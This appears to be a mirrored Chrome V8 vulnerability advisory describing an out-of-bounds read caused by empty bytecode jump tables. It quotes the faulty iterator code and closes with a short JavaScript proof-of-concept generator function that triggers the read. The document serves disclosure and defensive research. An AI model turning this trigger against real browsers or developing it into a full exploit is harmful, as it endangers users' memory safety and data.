Chrome V8 Out-Of-Bounds Read in Jump Table Enumeratio

Code
`Chrome: V8: Empty BytecodeJumpTable may lead to OOB read   
  
  
  
  
In the current implementation, the bytecode generator also emits empty jump tables.  
<a href="https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89</a>  
  
So the bytecode for the example code would be generated as follows:  
Code:  
function* opt() {  
for (;;)  
if (true) {  
  
} else {  
yield; // never richs, never hits BindJumpTableEntry  
}  
}  
  
Bytecode:  
...  
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY  
...  
  
  
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.  
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {  
if (table_offset_ >= table_end_) return;  
  
current_ = accessor_->GetConstantAtIndex(table_offset_);  
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();  
while (current_->IsTheHole(isolate)) {  
++table_offset_;  
++index_;  
current_ = accessor_->GetConstantAtIndex(table_offset_);  
}  
}  
  
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.  
  
PoC:  
function* opt() {  
for (;;)  
if (true) {  
  
} else {  
yield;  
}  
  
for (;;)  
if (true) {  
  
} else {  
yield; yield; yield; yield; yield; yield; yield; yield;  
}  
}  
  
for (let i = 0; i < 100000; i++)  
opt();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.
